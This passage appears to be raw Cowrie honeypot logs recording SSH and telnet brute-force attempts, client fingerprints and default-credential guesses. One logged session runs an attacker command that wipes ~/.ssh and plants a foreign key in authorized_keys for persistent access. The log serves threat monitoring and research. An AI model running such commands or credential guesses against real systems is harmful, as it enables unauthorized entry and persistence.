dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:53.444045Z","src_ip":"176.65.132.129","session":"4905de80e68d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"testuser","message":"login attempt [testuser/testuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:53.791503Z","src_ip":"176.65.132.129","session":"4905de80e68d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.5257523059845,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:54.159891Z","src_ip":"38.60.198.128","session":"f84d9a665c70","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:54.877182Z","src_ip":"176.65.132.129","session":"4905de80e68d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":59626,"dst_ip":"10.17.0.5","dst_port":22,"session":"a7f148096b21","protocol":"ssh","message":"New connection: 176.65.132.129:59626 (10.17.0.5:22) [session: a7f148096b21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:56.863290Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:56.867547Z","src_ip":"176.65.132.129","session":"a7f148096b21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:56.949111Z","src_ip":"176.65.132.129","session":"a7f148096b21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpUser","password":"ftpUser","message":"login attempt [ftpUser/ftpUser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:57.196431Z","src_ip":"176.65.132.129","session":"a7f148096b21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":59814,"dst_ip":"159.203.135.109","dst_port":23,"session":"4bcb1e2600bb","protocol":"telnet","message":"New connection: 38.60.198.128:59814 (159.203.135.109:23) [session: 4bcb1e2600bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:57.535971Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:51:58.404002Z","src_ip":"176.65.132.129","session":"a7f148096b21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":59670,"dst_ip":"10.17.0.5","dst_port":22,"session":"d49b75027c02","protocol":"ssh","message":"New connection: 176.65.132.129:59670 (10.17.0.5:22) [session: d49b75027c02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:00.223224Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:00.231066Z","src_ip":"176.65.132.129","session":"d49b75027c02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":42184,"dst_ip":"10.17.0.5","dst_port":23,"session":"af9efa48ed7d","protocol":"telnet","message":"New connection: 38.54.119.93:42184 (10.17.0.5:23) [session: af9efa48ed7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:00.275797Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:00.321135Z","src_ip":"176.65.132.129","session":"d49b75027c02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"raspberry","message":"login attempt [pi/raspberry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:00.573958Z","src_ip":"176.65.132.129","session":"d49b75027c02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.195.254.215","src_port":43568,"dst_ip":"10.17.0.5","dst_port":22,"session":"070c33c1952f","protocol":"ssh","message":"New connection: 199.195.254.215:43568 (10.17.0.5:22) [session: 070c33c1952f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:00.751589Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:00.760191Z","src_ip":"199.195.254.215","session":"070c33c1952f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:01.305168Z","src_ip":"199.195.254.215","session":"070c33c1952f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.4590802192688,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:01.557080Z","src_ip":"45.81.23.16","session":"7aef95cd372e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:01.657908Z","src_ip":"176.65.132.129","session":"d49b75027c02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":11.543896436691284,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:03.509477Z","src_ip":"45.81.23.16","session":"fbdd5cb31a8d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.82197642326355,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:03.557191Z","src_ip":"45.81.23.16","session":"9ec6275fa49f","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle@321","message":"login attempt [oracle/oracle@321] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:03.621184Z","src_ip":"199.195.254.215","session":"070c33c1952f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":59686,"dst_ip":"10.17.0.5","dst_port":22,"session":"82c869c89192","protocol":"ssh","message":"New connection: 176.65.132.129:59686 (10.17.0.5:22) [session: 82c869c89192]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:03.752398Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:03.758174Z","src_ip":"176.65.132.129","session":"82c869c89192","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:03.841049Z","src_ip":"176.65.132.129","session":"82c869c89192","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"private","password":"private","message":"login attempt [private/private] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:04.088119Z","src_ip":"176.65.132.129","session":"82c869c89192","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":41890,"dst_ip":"159.203.135.109","dst_port":23,"session":"366a7b7d6e98","protocol":"telnet","message":"New connection: 38.60.198.128:41890 (159.203.135.109:23) [session: 366a7b7d6e98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:04.252876Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:04.982773Z","src_ip":"199.195.254.215","session":"070c33c1952f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:04.986429Z","src_ip":"199.195.254.215","session":"070c33c1952f","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:04.990286Z","src_ip":"199.195.254.215","session":"070c33c1952f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:05.174060Z","src_ip":"176.65.132.129","session":"82c869c89192","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.6","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:05.595096Z","src_ip":"199.195.254.215","session":"070c33c1952f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.99718236923218,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:06.664737Z","src_ip":"38.60.198.128","session":"505bf68b06ab","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:06.746643Z","src_ip":"199.195.254.215","session":"070c33c1952f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:06.750008Z","src_ip":"199.195.254.215","session":"070c33c1952f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":40804,"dst_ip":"10.17.0.5","dst_port":22,"session":"288bc5e98009","protocol":"ssh","message":"New connection: 176.65.132.129:40804 (10.17.0.5:22) [session: 288bc5e98009]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:07.032187Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:07.036426Z","src_ip":"176.65.132.129","session":"288bc5e98009","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:07.125067Z","src_ip":"176.65.132.129","session":"288bc5e98009","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.82.147","src_port":44412,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a7e2b9aefa7","protocol":"telnet","message":"New connection: 64.227.82.147:44412 (159.203.135.109:23) [session: 6a7e2b9aefa7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:07.153482Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@123","message":"login attempt [root/admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:07.382020Z","src_ip":"176.65.132.129","session":"288bc5e98009","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:07.413298Z","src_ip":"199.195.254.215","session":"070c33c1952f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.7","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:07.417339Z","src_ip":"199.195.254.215","session":"070c33c1952f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.195.254.215","src_port":44986,"dst_ip":"10.17.0.5","dst_port":22,"session":"18c669159ea1","protocol":"ssh","message":"New connection: 199.195.254.215:44986 (10.17.0.5:22) [session: 18c669159ea1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:07.947593Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:07.957365Z","src_ip":"199.195.254.215","session":"18c669159ea1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:08.467126Z","src_ip":"176.65.132.129","session":"288bc5e98009","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":45510,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab3043552c91","protocol":"telnet","message":"New connection: 38.60.198.128:45510 (159.203.135.109:23) [session: ab3043552c91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:52:08.544942Z"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 